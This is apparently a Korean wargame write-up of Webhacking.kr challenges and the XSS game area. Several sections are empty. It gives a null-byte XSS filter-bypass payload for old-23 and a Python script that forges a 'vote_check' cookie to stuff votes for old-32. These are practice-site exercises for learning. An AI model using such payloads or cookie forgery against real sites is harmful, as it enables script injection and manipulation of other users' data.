Webhacking.kr 01, 06, 23, 24, 32, XSS game area 문제 풀이

old-01

위 코드에서 2번째 PHP 문을 보면 user_lv라는 쿠키 값이 4 이상이면 1이 되고 3 초과면 문제를 해결할 수 있는 solve(1)이라는 함수를 호출해 준다는 것을 알 수 있다.

old-06

old-23

sc, cr 등 문자와 관련된 문자열의 경우의 수의 경우 필터링이 된다. 따라서 이런 문자들이 겹치지 않고 일정한 명령어로 나올 수 있도록 null을 이용해서 문자열 상에서는 문자들끼리 만나지 않지만 실제 컴퓨터가 이해할 때는 하나의 명령어로 이해되도록 스크립트를 만들었다.

<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1)%3b<\s%00c%00r%00i%00p%00t>

old-24

페이지 첫 화면에 들어가면

old-32

처음 접속하면 다음 화면을 볼 수 있다. 이 문제 처음 보면 진짜 뭘 해라는지 도통 알 수 없는데, 점수표와 cookie 데이터 보면 일단 1등 만들어야 겠다는 방향으로 길을 잡을 수 있다.

문제를 보고 cookie 값을 확인해본 결과 우리가 이름을 누르면 투표를 할 수 있고, 투표가 완료되면 vote_check라는 쿠키가 생기면서 저장된다는 것이다.

하지만 이 쿠키 값을 false로 바꾸면 다시 투표가 가능해진다.

그럼 이제 이걸로 내가 원하는 사용자를 1등으로 만들 수 있다는 것이다.

따라서 python으로 자동화 코드를 작성해서 만들었다.

먼저 burpsuite에서 요청 내용을 잡아서 복사한 다음 requests 라이브러리를 활용해서 작성하였다.

import requests
 
url = "https://webhacking.kr/challenge/code-5/"
 
params = {
	"hit": "fixgram"
}
 
headers = {
	"Host": "webhacking.kr",
	"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36",
	"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
	"Accept-Language": "ko-KR,ko;q=0.9",
	"Referer": "https://webhacking.kr/challenge/code-5/",
	"Connection": "keep-alive"
}
 
cookies = {
	"vote_check": "0",
	"PHPSESSID": "nqcoonfgaod3qeck31i2idm6vt"
}
 
for i in range(1, 100):
	response = requests.get(url,params=params,headers=headers,cookies=cookies)
	print(response.status_code)
 
print(response.text)

Attachment

hit 변수에 들어갈 문자열을 자신의 webhacking.kr id로 해야 한다.

이렇게 하고 다시 웹 페이지로 돌아가서 새로고침을 할경우 100이 되면서 문제가 해결된다.

XSS game area

개인적으로 찾아본 실사례

최근 AD 공격 공부하면서 이거 XSS도 AD 공격의 초기 공격으로 자주 사용될 것 같다는 생각이 들어서 한번 찾아봤다.

[Equifax (2017년 데이터 유출 사건)]